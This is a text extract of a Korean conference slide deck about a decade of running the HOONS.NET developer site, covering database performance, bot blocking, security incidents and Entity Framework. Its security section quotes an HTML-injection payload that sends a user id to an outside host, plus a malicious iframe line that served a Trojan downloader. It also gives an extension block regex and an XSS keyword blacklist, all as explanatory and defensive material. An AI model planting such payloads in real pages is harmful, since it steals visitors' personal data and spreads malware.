SlideShare une entreprise Scribd logo
1  sur  85
Télécharger pour lire hors ligne
부제: “닷넷 기반 웹 사이트 개발학” 개론
HOONS닷넷 좌충우돌 10년,
그리고 새로운 패러다임
박경훈
강사소개
hoonsbara@hotmail.com
http://blog.hoons.kr
http://twitter.com/_hoons
현) HOONS닷넷 운영자
닷넷개발자 since 2002
전) 캠든소프트 대표
2005~2010년 MS Visual C# MVP
10여권의 프로그래밍 서적 집필 및 번역
KBS 미래를 짊어질 젊은 주역 60명 선정
극동방송 테마 CCM 진행자
진행순서
 HOONS닷넷 좌충우돌 10년
- 성능이슈
- 보안이슈
 HOONS닷넷 3.0
- Part1. 엔티티 프레임워크 (Code-First)
HOONS닷넷 좌충우돌 10년
웹사이트가 느려지기 시작했다
(2007~2008)
DB성능을 고려
하지 않은 개발
쌓여가는 컨텐츠
MSSQL CPU – 100%
검색 bot 들과의 전쟁
검색어를 유추하여 수없이 Request
난 너의 에러메시지까지 저장하고 있다.
By, 수천 개도 넘는 봇들
대안 #1
 1. 웹사이트 루트에 robots.txt 파일의 생성
http://www.robotstxt.org/orig.html
# robots.txt for http://www.example.com/
User-agent: *
Disallow: /cyberworld/map/
#This is an infinite virtual URL space
# Cybermapper knows where to go.
User-agent: cybermapper
Disallow:
하지만
대안 #2
 검색 허용 시간을 지정
if (DateTime.Now.Hour > 8 && DateTime.Now.Hour < 22)
{
if (Request.UserAgent.ToLower().IndexOf("bot") > 0)
{
Response.End();
return;
}
else if (Request.UserAgent.ToLower().IndexOf("yahoo") > 0)
{
Response.End();
return;
}
}
대안 #3
 로그를 활용하여 스팸 악성BOT의 분석
http://www.user-agents.org
기본원칙에 기반한 DB의 재설계
1. Order By를 사용하지 않는다.
 Index를 활용한 자동 정렬
Order By의 성능 비교
select top 40 * from Board order by BoardOrderSeq
select top 40 * from Board
2. 단순조회는 Lock을 해제한다.
 SQL의 기본 격리 수준은 Read Committed
-> 다른 사람이 글을 쓰는 동안은 글을 조회
할 수 없다.
 글을 읽는 동안 조회수 증가 업데이트 구문
이 있기 때문에 다른 사람들이 조회를 할 수
없다.
Lock 해제
SETTRANSACTION ISOLATION LEVEL
READ UNCOMMITTED
GO
프로시저 설정
SELECT COUNT(B.BoardIdx) as Counter
FROM BOARD B With(nolock)
쿼리 설정
3. FullText Search의 도입
Full-Text Search 쿼리
Select * from board where
CONTAINS(BoardContent, ' "choc*" ')
4. 캐싱 처리 도입
메모리 캐싱 처리 예제
 캐시에 저장
DataSet ds = sqlHelper.ExecuteFill("쿼리");
Cache.Insert("Notice", ds, null, DateTime.Now.AddMinutes(2),
TimeSpan.Zero);
 캐시에서 불러오기
if (Cache["Notice"] == null)
{
DataSet ds = Cache["Notice"] as DataSet;
}
보안 이슈
동네북
파일 업로드의 취약점
.asp
.aspx
.cer
등의 파일 저장
“hoons.kr/파일경로/1.asp”
를 통한 접근
첨부파일을 이용한 해킹
대안#1: 위험한 확장자 업로드 차단
http://www.hosting.com/support/sharepoint3/blocked-file-extensions-in-hmcsharepoint
대안#1: 위험한 확장자 업로드 차단
public static bool IsBadFile(string strExtention)
{
// 위험한 확장자인지 확인
Regex objNotWholePattern = new Regex(@".(bat|htc|cs|vb|
cpp|ashx|rpt|cab|exe|cmd|sh|php|pl|cgi|386|dll|com|torrent|
js|app|jar|pif|vb|vbscript|wsf|asp|cer|csr|asp|aspx|asmx|jsp|
drv|sys|ade|adp|bas|chm|cpl|crt|csh|fxp|hlp|hta|inf|ins|isp|
jse|htaccess|htpasswd|ksh|lnk|mdb|mde|mdt|mdw|msc|msi|
msp|mst|ops|pcd|prg|reg|scr|sct|shb|shs|url|vbe|vbs|wsc|
wsf|wsh)$");
return objNotWholePattern.IsMatch(strExtention);
}
 정규식으로 확장자 차단
대안#2: 닷넷 신뢰 수준 조정
XSS/CSRF 취약점을 이용한 정보 습득
싸이월드 방문자 확인 프로그램
메이플스토리 – 개인정보 유출
XSS/CSRF 취약점을 이용한 정보 습득
옥션 1000만명 개인정보유출
지금 중국은…
사례: 싸이월드 개인정보 수집
 스크립트의 삽입 - 다이어리
사례: 싸이월드 개인정보 수집
 HTML 인젝션 #1
www.hoons.kr”> <img src=“0필셀이미지“
onerror=“javascript:document.location=
'http://www.hoons.kr/cyworld.asp
?usertid='+ usertid;</script>” width=‘0’ height=‘0
링크에 아래 값 삽입
사례: 싸이월드 개인정보 수집
 HTML 인젝션 - 결과
<a href=’www.hoons.kr‘> <img src=“0필셀이미지“
onerror=“javascript:document.location=
'http://www.hoons.kr/cyworld.aspx
?usertid='+ usertid;</script>” width=0 height=0’>
<img src=미니룸 이미지></a>
www.hoons.kr”> <img src=“0필셀이미지“
onerror=“javascript:document.location=
'http://www.hoons.kr/cyworld.asp
?usertid='+ usertid;</script>” width=‘0’ height=‘0
대처방안
 반드시 필요한 경우가 아니라면 HTML,
Javascript 등의 스크립트를 사용할 수 없도록
기능을 제거
 인젝션에 사용할 문자열들은 블랙리스트
location=, href=, .open(, <script,
javascript:, .cookie, .write, alert(, &#40, &#040,
…
 모든 submit에는 Referer를 확인(하지만 위조 가
능)
 글 작성 시 요청되는 파일에서 Token 생성 후
Action 파일에서 Token 유효성을 체크
쿠키 변조를 통한 권한 상승
 암호화 하지 않은 쿠키는 손쉽게 변경 가능
- 대칭키 or 공개키 알고리즘 적용 필요
쿠키 변조하기
[2009/12] 잊지 못할 사건
 Trojan.Downloader.JS.NZ 악성코드가 내려갔던 공포의 이
틀을 기억하고 있다.
그리고 아직 풀리지 않은 미스테리
…
document.write("<iframe width='0' height='0'
src='http://www.intuition.co.uk/l/eco.htm'></iframe>");
 누가 내 JS 파일을 수정
했을까?
닷넷 아키텍처의 변화
닷넷의 탄생
- 개발생산성
- 웹서비스
- COM+
2002 2007 2009
닷넷2.0출시
2005
HOONS닷넷 1.0 개발
- ASP.NET 1.0
HOONS닷넷 2.0 개발
- ASP.NET 2.0
2008
HOONS닷넷 3.0개발
- ASP.NET MVC
닷넷3.5출시
닷넷3.0
2006 2010
ASP.NET MVC
1.0 출시
닷넷4.0출시
2012
웹2.0 기술의 정착
- 시멘틱 웹
- 사용자 중심의 웹
- Ajax 기술의 정착
RIA 기술의 열풍
- Flex
- Java FX
- Silverlight
스마트폰의 태동
- 아이폰
- 안드로이드
- 윈도우폰7
실버라이트 1.0
윈도우8&
닷넷4.5
출시 예정
WPF
WCF
WF
윈폰7 출시
[닷넷 1.0] 아키텍처
[닷넷 1.0] 아키텍처
DCOM MTS+
HOONS닷넷 1.0 - 2002
닷넷1.1 (ASP.NET 1.1)
MS SQL 2000
HOONS닷넷 2.0 - 2008
ASP.NET 2.0
ASP.NET AJAX
MS SQL 2005
HOONS 2.0의 아키텍쳐
Web
Form
Web
Service
BSL
(Business Service)
Ajax.Net
DAL
(Data Access)
HoonsFrameWork
Data
Base
ASP.NET 2.0
WCF
(COM+)
DLL
(C#2.0)
+ DB
HOONS 2.0의 아키텍쳐
Web
Form
BSL
(Business Service)
Ajax.Net
DAL
(Data Access)
Hoons
FrameWork
하지만,,
실용성
생산성
그래서,,
Web
Form
Aap.Net Ajax
HoonsFrameWork
Data
Base
ASP.NET 2.0 DB
MVC
UnitTesting
Repository Pattern
ChangeTracking
Concurrency
Unit of WorkMVVM
Separation of Concerns Dependency Injection
Transactions
Performance
바야흐로 5년
다시
제대로
만들어
보고
싶습니다
ㅠㅠ
HOONS닷넷 3.0
MVC
Repository Pattern
TDD
Entity
SoC
Dependency Injection
ASP.NET MVC의 3Tier
BSL
(Business Service)Controller
DAL
(Data Access)
Entity (Data Scheme)
Data
Base
ASP.NET MVC WCF DLL+ DB
model
View
(Jquery&
Razor)
Entity 기반의 데이터 핸들링
View
MODELS.
WEB
Controller
JQuery
HOONS.MVC.FRAMEWORK
Data
Base
HOONS닷넷 3.0 아키텍처 – 2tier
MODELS.
DB
Entity
Framework
4.0
Entity
ASP.NET MVC DB
HOONS닷넷 3.0 아키텍처 – 2tier
JavascriptHTML CSS
문서 디자인 동적 UI 제어
[VIEW]
Entity Framework의 도입
MVC
Repository Pattern
TDD
Entity
SoC
Dependency Injection
엔티티 프레임워크의 도입
Business
Entity
Relation
Data
Conceptual
Entity
CSDL
Entity
Entity
Logical Store
Table
SSDL
Table
Table
Mapping
MSL
DB스키마와 EDM
DB 스키마 EDM
LINQ TO SQL 과 ENTITY Framework
• SQL Server 만 지원
• DB 스키마(테이블, 컬럼등) 직접 매핑
• 스트림 데이터를 지원하지 않음
LINQ to SQL
• 다양한 이기종 지원(Oracle, DB2 등)
• CSDL, MSL, SSDL 형태로 분리
• EntityClient를 통한 스트림 데이터 지원
Entity Framewrok
엔티티 프레임워크의 도입
DB Model
Code
DB Model
Code
DB Model
Code
Design time
Design time
Design time
Design time
Runtime Runtime
 DB First
 Model First
 Code First
UI 기반 모델
• 클래스들과 매핑 코드 정의
(별도의 업그레이드 툴로 이용 가능)
코드 기반 모델 – CodeFirst
Product
• Id: int
• Name: max
• UnitPrice: decimal
Product
• Id: int
• Name: 128
• UnitPrice: decimal
ChangeColumn(
“Products",
"Name",
ca => ca.String(
maxLength:128));
Code First
장점
 개발 생산성의 절감
- DB로부터 엔티티 클래스의 자동 생성
- 쿼리를 자동생성
 어떤 DB도 쿼리의 수정이 없음
 LINQ를 이용하여 복잡한 쿼리를 쉽게 조합하여
사용이 가능함
HOONS닷넷 3.0
- Code First 모델의 적용
- Entity Generator
쿼리 실행과정
//1. 보드 리스트 가져오기
var QueryBoard = from BOARD in context.Boards
//2. 검색어 설정
QueryBoard = from BOARDList in QueryBoard
where BOARDList.BoardTitle.Contains(strValue)
select BOARDList;
//3. 페이징 설정
QueryBoard = QueryBoard.OrderByDescending(x=>x.BoardOrderSeq)
.Skip((PageIndex - 1) * PageSize).Take(PageSize);
//모델에 바인딩
//BLModel.BoardList = QueryBoard.ToList();
페이징 쿼리 팁
//페이징 설정
QueryBoard = QueryBoard.OrderByDescending(x=>x.BoardOrderSeq)
.Skip((PageIndex - 1) * PageSize).Take(PageSize);
 Skip()은 OrderBy를 필수로 요청
실제 DB에서는..
Order By BoardTitle
Order By BoardOrderSeq
엔티티 프레임워크로 가자!
SELECT
1 AS [C1],
[Project2].[Bonus] AS [Bonus],
[Project2].[C1] AS [C2],
[Project2].[FirstName] AS [FirstName],
[Project2].[LastName] AS [LastName],
[Project2].[C2] AS [C3]
FROM ( SELECT
[Project1].[Bonus] AS [Bonus],
[Project1].[FirstName] AS [FirstName],
[Project1].[LastName] AS [LastName],
[Project1].[C1] AS [C1],
(SELECT
COUNT(cast(1 as bit)) AS [A1]
FROM [Sales].[SalesOrderHeader] AS [Extent5]
WHERE [Project1].[BusinessEntityID] = [Extent5].[SalesPersonID]) AS [C2]
FROM ( SELECT
[Extent1].[BusinessEntityID] AS [BusinessEntityID],
[Extent1].[SalesQuota] AS [SalesQuota],
[Extent1].[Bonus] AS [Bonus],
[Extent2].[FirstName] AS [FirstName],
[Extent2].[LastName] AS [LastName],
(SELECT
SUM([Filter1].[A1]) AS [A1]
FROM ( SELECT
(SELECT
SUM([Extent4].[LineTotal]) AS [A1]
FROM [Sales].[SalesOrderDetail] AS [Extent4]
WHERE [Extent3].[SalesOrderID] = [Extent4].[SalesOrderID]) AS [A1]
FROM [Sales].[SalesOrderHeader] AS [Extent3]
WHERE [Extent1].[BusinessEntityID] = [Extent3].[SalesPersonID]
) AS [Filter1]) AS [C1]
FROM [Sales].[SalesPerson] AS [Extent1]
INNER JOIN [Person].[Person] AS [Extent2] ON ([Extent1].[BusinessEntityID] =
[Extent2].[BusinessEntityID]) OR (([Extent1].[BusinessEntityID] IS NULL) AND
([Extent2].[BusinessEntityID] IS NULL))
) AS [Project1]
WHERE [Project1].[C1] > [Project1].[SalesQuota]
) AS [Project2]
엔티티 프레임워크의 흑과백
“크지 않은 규모, 성능에 민감하지 않은 프로젝트
에서의 ORM은 최고의 생산성을 가져다 줄 것이
지만, 큰 프로젝트, 높은 성능, 복잡한 업무 로직에
서는 ORM을 추천하고 싶지 않다.”
=> SQL Tracing 작업으로 필수적으로 SQL
생성 결과를 확인해야 함
로깅 #1. EFTracingProvider를 이용
http://blogs.msdn.com/b/jkowalski/archive/2009/06/11/tracing-and-caching-
in-entity-framework-available-on-msdn-code-gallery.aspx
로깅 #2. 쿼리 실행 전 로그기록
public static void QueryLogger<T>(IQueryable<T> TraceQuery)
{
if (디버깅 모드라면)
{
//쿼리기록
LogBase.WriteLog("Entity", TraceQuery.ToString());}
}
}
로깅 #3. 30일 한정판 Tracer를 이용
http://efprof.com/home
아직 아쉬운 점
 멀티 DB를 쓰지 못함
 프로시저의 결과를 엔티티 컬럼으로 매핑이 어
려움
 Lock 기능에 대한 불편함
 기본기능으로 SQL 로깅이 포함되어 있지 않음
아직 아쉬운 점: 인덱스설정 부분
//초기 DB 생성시 SQL 구문작성
protected override void
Seed(MyContext context)
{
context.Database.
SqlCommand("CREATE INDEX
IX_Person_Name ON Person
(Name)");
}
[정리] 엔티티 프레임워크 프로젝트의 성공
률을 높이기 위해서
 잦은 테이블의 변경을 최소화 하기 위해서 DB
설계시간을 많이 투자해야 함
 개발자는 식을 만들 때마다 실제 쿼리를 모니터
링 해야 함
- 개발자 교육 필요
- 쿼리 로그가 필수
엔티티에 대한 못다한 이야기는
다음 번 Part2 세미나에서 이어
집니다.
[Next Session]
MVC
Repository Pattern
TDD
Entity
SoC
Dependency Injection
Q&A
Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

Contenu connexe

En vedette

스마트앱 글로벌 진출전략
스마트앱 글로벌 진출전략스마트앱 글로벌 진출전략
스마트앱 글로벌 진출전략KH Park (박경훈)
 
R과sql비교 퀵하게보기
R과sql비교 퀵하게보기R과sql비교 퀵하게보기
R과sql비교 퀵하게보기seung-hyun Park
 
몽고디비사용자교육2일차 v0.5
몽고디비사용자교육2일차 v0.5몽고디비사용자교육2일차 v0.5
몽고디비사용자교육2일차 v0.5seung-hyun Park
 
보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법Youngjun Chang
 
OOPS in javascript
OOPS in javascriptOOPS in javascript
OOPS in javascriptVijaya Anand
 
Why javaScript?
Why javaScript?Why javaScript?
Why javaScript?Kim Hunmin
 
Java 7, 8 & 9 - Moving the language forward
Java 7, 8 & 9 - Moving the language forwardJava 7, 8 & 9 - Moving the language forward
Java 7, 8 & 9 - Moving the language forwardMario Fusco
 
Big query at GDG Korea Cloud meetup
Big query at GDG Korea Cloud meetupBig query at GDG Korea Cloud meetup
Big query at GDG Korea Cloud meetupJude Kim
 
BeLAUNCH2014 x HACKATHON week 3
BeLAUNCH2014 x HACKATHON week 3BeLAUNCH2014 x HACKATHON week 3
BeLAUNCH2014 x HACKATHON week 3Chan Lee
 
미티어 리엑티비티 ( reactivity of meteor )
미티어 리엑티비티 ( reactivity of meteor ) 미티어 리엑티비티 ( reactivity of meteor )
미티어 리엑티비티 ( reactivity of meteor ) seung-hyun Park
 
Javascript and Web Performance
Javascript and Web PerformanceJavascript and Web Performance
Javascript and Web PerformanceJonathan Jeon
 
1. 미티어의 폴더구조
1. 미티어의 폴더구조1. 미티어의 폴더구조
1. 미티어의 폴더구조seung-hyun Park
 
Google Apps를 활용한 Smart Work 구축
Google Apps를 활용한 Smart Work 구축Google Apps를 활용한 Smart Work 구축
Google Apps를 활용한 Smart Work 구축선진 장
 
No more loops with lambdaj
No more loops with lambdajNo more loops with lambdaj
No more loops with lambdajMario Fusco
 
Meteor Korea DEV School 1st day
Meteor Korea DEV School 1st dayMeteor Korea DEV School 1st day
Meteor Korea DEV School 1st dayseung-hyun Park
 
142 리눅스와 모바일 day1-track4_2_v1.5
142 리눅스와 모바일 day1-track4_2_v1.5142 리눅스와 모바일 day1-track4_2_v1.5
142 리눅스와 모바일 day1-track4_2_v1.5NAVER D2
 

En vedette (20)

스마트앱 글로벌 진출전략
스마트앱 글로벌 진출전략스마트앱 글로벌 진출전략
스마트앱 글로벌 진출전략
 
R과sql비교 퀵하게보기
R과sql비교 퀵하게보기R과sql비교 퀵하게보기
R과sql비교 퀵하게보기
 
몽고디비사용자교육2일차 v0.5
몽고디비사용자교육2일차 v0.5몽고디비사용자교육2일차 v0.5
몽고디비사용자교육2일차 v0.5
 
보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법보안 위협과 악성코드 분석 기법
보안 위협과 악성코드 분석 기법
 
OOPS in javascript
OOPS in javascriptOOPS in javascript
OOPS in javascript
 
Why javaScript?
Why javaScript?Why javaScript?
Why javaScript?
 
Java 7, 8 & 9 - Moving the language forward
Java 7, 8 & 9 - Moving the language forwardJava 7, 8 & 9 - Moving the language forward
Java 7, 8 & 9 - Moving the language forward
 
Big query at GDG Korea Cloud meetup
Big query at GDG Korea Cloud meetupBig query at GDG Korea Cloud meetup
Big query at GDG Korea Cloud meetup
 
BeLAUNCH2014 x HACKATHON week 3
BeLAUNCH2014 x HACKATHON week 3BeLAUNCH2014 x HACKATHON week 3
BeLAUNCH2014 x HACKATHON week 3
 
미티어 리엑티비티 ( reactivity of meteor )
미티어 리엑티비티 ( reactivity of meteor ) 미티어 리엑티비티 ( reactivity of meteor )
미티어 리엑티비티 ( reactivity of meteor )
 
Javascript and Web Performance
Javascript and Web PerformanceJavascript and Web Performance
Javascript and Web Performance
 
3. collection
3. collection3. collection
3. collection
 
1. 미티어의 폴더구조
1. 미티어의 폴더구조1. 미티어의 폴더구조
1. 미티어의 폴더구조
 
Google Apps를 활용한 Smart Work 구축
Google Apps를 활용한 Smart Work 구축Google Apps를 활용한 Smart Work 구축
Google Apps를 활용한 Smart Work 구축
 
5.router
5.router5.router
5.router
 
No more loops with lambdaj
No more loops with lambdajNo more loops with lambdaj
No more loops with lambdaj
 
6.accounts
6.accounts6.accounts
6.accounts
 
Meteor Korea DEV School 1st day
Meteor Korea DEV School 1st dayMeteor Korea DEV School 1st day
Meteor Korea DEV School 1st day
 
4. publish / subscribe
4. publish / subscribe4. publish / subscribe
4. publish / subscribe
 
142 리눅스와 모바일 day1-track4_2_v1.5
142 리눅스와 모바일 day1-track4_2_v1.5142 리눅스와 모바일 day1-track4_2_v1.5
142 리눅스와 모바일 day1-track4_2_v1.5
 

Similaire à Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

Social Tutorial Platform: Webbles
Social Tutorial Platform: Webbles Social Tutorial Platform: Webbles
Social Tutorial Platform: Webbles Wonkyung Lyu
 
Big Data platform을 위한 Sencha Ext JS 사례.
Big Data platform을 위한 Sencha Ext JS 사례.Big Data platform을 위한 Sencha Ext JS 사례.
Big Data platform을 위한 Sencha Ext JS 사례.효근 박
 
오픈소스 프레임워크 기반 웹 서비스 설계 (Example)
오픈소스 프레임워크 기반 웹 서비스 설계 (Example)오픈소스 프레임워크 기반 웹 서비스 설계 (Example)
오픈소스 프레임워크 기반 웹 서비스 설계 (Example)중선 곽
 
[Td 2015]구름 위로 올려 어느 곳에서든 연결되는 서비스 azure 앱 서비스(이종인)
[Td 2015]구름 위로 올려 어느 곳에서든 연결되는 서비스 azure 앱 서비스(이종인)[Td 2015]구름 위로 올려 어느 곳에서든 연결되는 서비스 azure 앱 서비스(이종인)
[Td 2015]구름 위로 올려 어느 곳에서든 연결되는 서비스 azure 앱 서비스(이종인)Sang Don Kim
 
정해균 포트폴리오
정해균 포트폴리오정해균 포트폴리오
정해균 포트폴리오Haegyun Jung
 
코드로 바로 해버리는 서버리스 오케스트레이션 - Azure Durable Functions
코드로 바로 해버리는 서버리스 오케스트레이션 - Azure Durable Functions코드로 바로 해버리는 서버리스 오케스트레이션 - Azure Durable Functions
코드로 바로 해버리는 서버리스 오케스트레이션 - Azure Durable FunctionsJongin Lee
 
프로그래밍 패러다임의 진화 및 Spring의 금융권 적용
프로그래밍 패러다임의 진화 및 Spring의 금융권 적용프로그래밍 패러다임의 진화 및 Spring의 금융권 적용
프로그래밍 패러다임의 진화 및 Spring의 금융권 적용중선 곽
 
엔터프라이즈 웹애플리케이션 솔루션 Sencha ExtJS 5
엔터프라이즈 웹애플리케이션 솔루션 Sencha ExtJS 5엔터프라이즈 웹애플리케이션 솔루션 Sencha ExtJS 5
엔터프라이즈 웹애플리케이션 솔루션 Sencha ExtJS 5Manyoung Cho
 
MEAN Stack 기반 모바일 서비스 개발 overview
MEAN Stack 기반 모바일 서비스 개발 overviewMEAN Stack 기반 모바일 서비스 개발 overview
MEAN Stack 기반 모바일 서비스 개발 overview민태 김
 
[2007 CodeEngn Conference 01] amesianx - Art of Hooking
[2007 CodeEngn Conference 01] amesianx - Art of Hooking[2007 CodeEngn Conference 01] amesianx - Art of Hooking
[2007 CodeEngn Conference 01] amesianx - Art of HookingGangSeok Lee
 
혼자서 커뮤니티 귀동냥하며 만든 Next.js & Amplify & serverless framework 웹 플랫폼 서비스 구현(삽질) 후...
혼자서 커뮤니티 귀동냥하며 만든 Next.js & Amplify & serverless framework 웹 플랫폼 서비스 구현(삽질) 후...혼자서 커뮤니티 귀동냥하며 만든 Next.js & Amplify & serverless framework 웹 플랫폼 서비스 구현(삽질) 후...
혼자서 커뮤니티 귀동냥하며 만든 Next.js & Amplify & serverless framework 웹 플랫폼 서비스 구현(삽질) 후...Tae-Seong Park
 
History and Status of HTML5
History and Status of HTML5History and Status of HTML5
History and Status of HTML5Channy Yun
 
스프링 코어 강의 3부 - 웹 애플리케이션 아키텍처
스프링 코어 강의 3부 - 웹 애플리케이션 아키텍처 스프링 코어 강의 3부 - 웹 애플리케이션 아키텍처
스프링 코어 강의 3부 - 웹 애플리케이션 아키텍처 Sungchul Park
 
Service-Oriented Architecture in a Nutshell
Service-Oriented Architecture in a NutshellService-Oriented Architecture in a Nutshell
Service-Oriented Architecture in a NutshellSamsung Electronics
 
ASP.NET Core 3.0과 Blazor를 활용한 새로운 WEB 개발(그리고 Try.NET)
ASP.NET Core 3.0과 Blazor를 활용한 새로운 WEB 개발(그리고 Try.NET)ASP.NET Core 3.0과 Blazor를 활용한 새로운 WEB 개발(그리고 Try.NET)
ASP.NET Core 3.0과 Blazor를 활용한 새로운 WEB 개발(그리고 Try.NET)SangHoon Han
 
The Future of .NET and C#
The Future of .NET and C#The Future of .NET and C#
The Future of .NET and C#명신 김
 
Html5 앱과 웹사이트를 보다 빠르게 하는 50가지
Html5 앱과 웹사이트를 보다 빠르게 하는 50가지Html5 앱과 웹사이트를 보다 빠르게 하는 50가지
Html5 앱과 웹사이트를 보다 빠르게 하는 50가지yongwoo Jeon
 

Similaire à Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임 (20)

Social Tutorial Platform: Webbles
Social Tutorial Platform: Webbles Social Tutorial Platform: Webbles
Social Tutorial Platform: Webbles
 
Big Data platform을 위한 Sencha Ext JS 사례.
Big Data platform을 위한 Sencha Ext JS 사례.Big Data platform을 위한 Sencha Ext JS 사례.
Big Data platform을 위한 Sencha Ext JS 사례.
 
오픈소스 프레임워크 기반 웹 서비스 설계 (Example)
오픈소스 프레임워크 기반 웹 서비스 설계 (Example)오픈소스 프레임워크 기반 웹 서비스 설계 (Example)
오픈소스 프레임워크 기반 웹 서비스 설계 (Example)
 
[Td 2015]구름 위로 올려 어느 곳에서든 연결되는 서비스 azure 앱 서비스(이종인)
[Td 2015]구름 위로 올려 어느 곳에서든 연결되는 서비스 azure 앱 서비스(이종인)[Td 2015]구름 위로 올려 어느 곳에서든 연결되는 서비스 azure 앱 서비스(이종인)
[Td 2015]구름 위로 올려 어느 곳에서든 연결되는 서비스 azure 앱 서비스(이종인)
 
정해균 포트폴리오
정해균 포트폴리오정해균 포트폴리오
정해균 포트폴리오
 
코드로 바로 해버리는 서버리스 오케스트레이션 - Azure Durable Functions
코드로 바로 해버리는 서버리스 오케스트레이션 - Azure Durable Functions코드로 바로 해버리는 서버리스 오케스트레이션 - Azure Durable Functions
코드로 바로 해버리는 서버리스 오케스트레이션 - Azure Durable Functions
 
프로그래밍 패러다임의 진화 및 Spring의 금융권 적용
프로그래밍 패러다임의 진화 및 Spring의 금융권 적용프로그래밍 패러다임의 진화 및 Spring의 금융권 적용
프로그래밍 패러다임의 진화 및 Spring의 금융권 적용
 
엔터프라이즈 웹애플리케이션 솔루션 Sencha ExtJS 5
엔터프라이즈 웹애플리케이션 솔루션 Sencha ExtJS 5엔터프라이즈 웹애플리케이션 솔루션 Sencha ExtJS 5
엔터프라이즈 웹애플리케이션 솔루션 Sencha ExtJS 5
 
MEAN Stack 기반 모바일 서비스 개발 overview
MEAN Stack 기반 모바일 서비스 개발 overviewMEAN Stack 기반 모바일 서비스 개발 overview
MEAN Stack 기반 모바일 서비스 개발 overview
 
[2007 CodeEngn Conference 01] amesianx - Art of Hooking
[2007 CodeEngn Conference 01] amesianx - Art of Hooking[2007 CodeEngn Conference 01] amesianx - Art of Hooking
[2007 CodeEngn Conference 01] amesianx - Art of Hooking
 
혼자서 커뮤니티 귀동냥하며 만든 Next.js & Amplify & serverless framework 웹 플랫폼 서비스 구현(삽질) 후...
혼자서 커뮤니티 귀동냥하며 만든 Next.js & Amplify & serverless framework 웹 플랫폼 서비스 구현(삽질) 후...혼자서 커뮤니티 귀동냥하며 만든 Next.js & Amplify & serverless framework 웹 플랫폼 서비스 구현(삽질) 후...
혼자서 커뮤니티 귀동냥하며 만든 Next.js & Amplify & serverless framework 웹 플랫폼 서비스 구현(삽질) 후...
 
History and Status of HTML5
History and Status of HTML5History and Status of HTML5
History and Status of HTML5
 
Subversion Branch
Subversion BranchSubversion Branch
Subversion Branch
 
스프링 코어 강의 3부 - 웹 애플리케이션 아키텍처
스프링 코어 강의 3부 - 웹 애플리케이션 아키텍처 스프링 코어 강의 3부 - 웹 애플리케이션 아키텍처
스프링 코어 강의 3부 - 웹 애플리케이션 아키텍처
 
Service-Oriented Architecture in a Nutshell
Service-Oriented Architecture in a NutshellService-Oriented Architecture in a Nutshell
Service-Oriented Architecture in a Nutshell
 
ASP.NET Core 3.0과 Blazor를 활용한 새로운 WEB 개발(그리고 Try.NET)
ASP.NET Core 3.0과 Blazor를 활용한 새로운 WEB 개발(그리고 Try.NET)ASP.NET Core 3.0과 Blazor를 활용한 새로운 WEB 개발(그리고 Try.NET)
ASP.NET Core 3.0과 Blazor를 활용한 새로운 WEB 개발(그리고 Try.NET)
 
One ASP.NET
One ASP.NETOne ASP.NET
One ASP.NET
 
Cloud Design Pattern
Cloud Design PatternCloud Design Pattern
Cloud Design Pattern
 
The Future of .NET and C#
The Future of .NET and C#The Future of .NET and C#
The Future of .NET and C#
 
Html5 앱과 웹사이트를 보다 빠르게 하는 50가지
Html5 앱과 웹사이트를 보다 빠르게 하는 50가지Html5 앱과 웹사이트를 보다 빠르게 하는 50가지
Html5 앱과 웹사이트를 보다 빠르게 하는 50가지
 

Plus de KH Park (박경훈)

테스트 자동화와 TDD(테스트 주도 개발방법론)
테스트 자동화와 TDD(테스트 주도 개발방법론)테스트 자동화와 TDD(테스트 주도 개발방법론)
테스트 자동화와 TDD(테스트 주도 개발방법론)KH Park (박경훈)
 
Approximate Indexing: Gapped Suffix Array
Approximate Indexing: Gapped Suffix ArrayApproximate Indexing: Gapped Suffix Array
Approximate Indexing: Gapped Suffix ArrayKH Park (박경훈)
 
윈도우 8의 새로운 컨트롤과 개발시 알아야 할 점들
윈도우 8의 새로운 컨트롤과 개발시 알아야 할 점들윈도우 8의 새로운 컨트롤과 개발시 알아야 할 점들
윈도우 8의 새로운 컨트롤과 개발시 알아야 할 점들KH Park (박경훈)
 
Windows8 매트로스타일 앱개발 개요
Windows8 매트로스타일 앱개발 개요Windows8 매트로스타일 앱개발 개요
Windows8 매트로스타일 앱개발 개요KH Park (박경훈)
 
창업, 그놈 (T아카데미 강의자료)
창업, 그놈 (T아카데미 강의자료)창업, 그놈 (T아카데미 강의자료)
창업, 그놈 (T아카데미 강의자료)KH Park (박경훈)
 

Plus de KH Park (박경훈) (7)

애자일의 모든것
애자일의 모든것애자일의 모든것
애자일의 모든것
 
테스트 자동화와 TDD(테스트 주도 개발방법론)
테스트 자동화와 TDD(테스트 주도 개발방법론)테스트 자동화와 TDD(테스트 주도 개발방법론)
테스트 자동화와 TDD(테스트 주도 개발방법론)
 
Xp anti-practice
Xp anti-practiceXp anti-practice
Xp anti-practice
 
Approximate Indexing: Gapped Suffix Array
Approximate Indexing: Gapped Suffix ArrayApproximate Indexing: Gapped Suffix Array
Approximate Indexing: Gapped Suffix Array
 
윈도우 8의 새로운 컨트롤과 개발시 알아야 할 점들
윈도우 8의 새로운 컨트롤과 개발시 알아야 할 점들윈도우 8의 새로운 컨트롤과 개발시 알아야 할 점들
윈도우 8의 새로운 컨트롤과 개발시 알아야 할 점들
 
Windows8 매트로스타일 앱개발 개요
Windows8 매트로스타일 앱개발 개요Windows8 매트로스타일 앱개발 개요
Windows8 매트로스타일 앱개발 개요
 
창업, 그놈 (T아카데미 강의자료)
창업, 그놈 (T아카데미 강의자료)창업, 그놈 (T아카데미 강의자료)
창업, 그놈 (T아카데미 강의자료)
 

Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임